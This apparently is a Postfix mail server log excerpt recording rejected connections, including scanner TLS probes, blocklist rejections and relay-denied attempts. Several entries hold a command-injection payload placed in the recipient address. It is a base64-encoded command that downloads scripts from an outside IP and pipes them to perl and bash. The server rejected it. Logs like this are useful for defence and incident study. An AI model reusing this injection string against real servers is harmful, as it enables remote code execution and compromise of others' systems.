2026-08-30T16:37:37.636043+02:00 mail postfix/smtpd[122668]: improper command pipelining after CONNE ...
show more2026-08-30T16:37:37.636043+02:00 mail postfix/smtpd[122668]: improper command pipelining after CONNECT from pirate.census.shodan.io[71.6.146.185]: \026\003\003\001\245\001\000\001\241\003\003\0258=\300\202\000\363B-h\006\323\266I\026@\356\276\252[\217\306\305J\305\206\262q\017zH> \360JQ)\3568 \370\373\201\345\352\370\004\227\272\241\376\365\\H\361=^\207\224\244\r\354N\366\017\000\212\000\026\0003\000g\300\236\300\242\000\236\0009\000k\300\237\300\243\000\237
2026-08-30T16:37:37.754724+02:00 mail postfix/smtpd[122668]: improper command pipelining after CONNECT from pirate.census.shodan.io[71.6.146.185]: \026\003\003\001\245\001\000\001\241\003\003\036\222\245\232\356\342\356\342k:\352\243\r\275\341\005L"4\216PJ\345J\317\v\377{\342L\200\177 30lA\372\332\376\260>\371VXL\376\021s\260\332|\346\215\025n8\217\325mkrU\242\374\000\212\000\005\000\004\000\a\000\300\000\204\000\272\000A\000\235\300\241\300\235\000=
2026-08-30T16:37:38.061577+02:00 mail postfix/smtpd[122668]: improper command pipe
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2026-08-30T14:43:46.279343+02:00 mail postfix/submission/smtpd[121371]: improper command pipelining ...
show more2026-08-30T14:43:46.279343+02:00 mail postfix/submission/smtpd[121371]: improper command pipelining after CONNECT from unknown[123.58.212.238]: \377\000\000\000\000\000\000\000\000\177\003\001NULL\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000
2026-08-30T14:43:55.685630+02:00 mail postfix/submission/smtpd[121371]: improper command pipelining after CONNECT from unknown[123.58.212.238]: \377\000\000\000\000\000\000\000\000\177\003\001NULL\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000
2026-08-30T14:44:06.103252+02:00 mail postfix/submission/smtpd[121371]: improper command pipelining after CONNECT from unknown[123.58.212.238]: \377\000\000\000\000\000\000\000\000\177\003\001NULL\000\000\000\000\000\000\0
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2026-08-30T07:19:41.320994+02:00 mail postfix/submission/smtpd[116669]: improper command pipelining ...
show more2026-08-30T07:19:41.320994+02:00 mail postfix/submission/smtpd[116669]: improper command pipelining after CONNECT from 62.195.132.66.censys-scanner.com[66.132.195.62]: \026\003\003\001\245\001\000\001\241\003\003r\343\034\317\253\2446\365W\215*\370\276\236\003\215U\346\321\236\b9\364\207_\230m}\350\254\024\f 4T&K@\312\372N\005\237\227\251\021\347P\340!\037p\206\253\357\264S\355/%+\277\272\375\227\000\212\000\026\0003\000g\300\236\300\242\000\236\0009\000k\300\237\300\243\000\237
2026-08-30T07:19:41.845823+02:00 mail postfix/submission/smtpd[116669]: improper command pipelining after CONNECT from 62.195.132.66.censys-scanner.com[66.132.195.62]: \026\003\003\001\245\001\000\001\241\003\003\356\246\335\020\235-\313\376\3623\220V\001D\256y\264,\335\270\246\226\243\304ze+/\273.\251\335 \241\aC$B\232Q\342\353F\322\342\2327#M\260M\307P\300\207!\265\023\313\321k\034'i\272\000\212\000\005\000\004\000\a\000\300\000\204\000\272\000A\000\235\300\241\300\235\000=
2026-08-30T07:19:42.364917+02:00 ma
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2026-08-29T22:41:23.440874+02:00 mail postfix/smtpd[107074]: NOQUEUE: reject: RCPT from host56.190-1 ...
show more2026-08-29T22:41:23.440874+02:00 mail postfix/smtpd[107074]: NOQUEUE: reject: RCPT from host56.190-123-84.sitsanetworks.net[190.123.84.56]: 554 5.7.1 Service unavailable; Client host [190.123.84.56] blocked using bl.spamcop.net; from=<[email protected]> to=<[email protected]> proto=ESMTP helo=<host56.190-123-84.sitsanetworks.net>
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2026-08-29T17:02:46.169589+02:00 mail postfix/smtpd[103207]: NOQUEUE: reject: RCPT from unknown[192. ...
show more2026-08-29T17:02:46.169589+02:00 mail postfix/smtpd[103207]: NOQUEUE: reject: RCPT from unknown[192.243.105.20]: 454 4.7.1 <x: Service status change: localhost $(echo 'Y3VybCAtc1MgMTQ3LjE4Mi4yMjQuMjE2L3plZHxwZXJsICYmIGN1cmwgLXNTIDE0Ny4xODIuMjI0LjIxNi9oaC5zaHxiYXNoCg=='|base64 -d|bash) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(echo 'Y3VybCAtc1MgMTQ3LjE4Mi4yMjQuMjE2L3plZHxwZXJsICYmIGN1cmwgLXNTIDE0Ny4xODIuMjI0LjIxNi9oaC5zaHxiYXNoCg=='|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
2026-08-29T19:05:17.591944+02:00 mail postfix/smtpd[104663]: NOQUEUE: reject: RCPT from unknown[192.243.105.20]: 454 4.7.1 <x: Service status change: localhost $(echo 'Y3VybCAtc1MgMTQ3LjE4Mi4yMjQuMjE2L3plZHxwZXJsICYmIGN1cmwgLXNTIDE0Ny4xODIuMjI0LjIxNi9oaC5zaHxiYXNoCg=='|base64 -d|bash) changed from stopped to [email protected]>: Relay access denied; from=<test@example
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2026-08-29T01:54:07.960812+02:00 mail postfix/smtpd[88321]: NOQUEUE: reject: RCPT from o22.ptr9106.e ...
show more2026-08-29T01:54:07.960812+02:00 mail postfix/smtpd[88321]: NOQUEUE: reject: RCPT from o22.ptr9106.email.tiktok.com[149.72.131.135]: 554 5.7.1 Service unavailable; Client host [149.72.131.135] blocked using bl.spamcop.net; Blocked - see https://www.spamcop.net/bl.shtml?149.72.131.135; from=<[email protected]> to=<[email protected]> proto=ESMTP helo=<o22.ptr9106.email.tiktok.com>
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2026-08-28T18:02:56.592481+02:00 mail postfix/smtpd[81384]: improper command pipelining after CONNEC ...
show more2026-08-28T18:02:56.592481+02:00 mail postfix/smtpd[81384]: improper command pipelining after CONNECT from unknown[164.52.24.180]: \026\003\001\001E\001\000\001A\003\003-\363\264\227\223\301r\022\f&\353\260\0013\200\200X\020\371\352\006\375\310\374\t \3405\026R\261\261 \020\304i\270\355\307\f\265\337\364\217N\226\202J\334R\b\v\326So\352\217\232\207\016\301\273\231\210\002\000>\023\002\023\003\023\001\300,\3000\000\237\314\251\314\250\314\252\300+\300/
2026-08-28T18:03:16.294030+02:00 mail postfix/smtpd[81378]: improper command pipelining after CONNECT from unknown[164.52.24.180]: GET / HTTP/1.1\r\nHost: 212.56.41.64:25\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9
2026-08-28T18:04:07.943360+02:00 mail postfix/smtpd[81378]: improper command pipelining after CONNECT from unknown[164.52.24.180]: \026\003\003\001\245\001\000\001\241\003\003e\252\023\\\312o4\333\232UW\202\311S\225\273P\260;\212\276\321\033\247\253\206\312\f\337\213r\263 +o\3270\352\314\v\232\326\267\350\0
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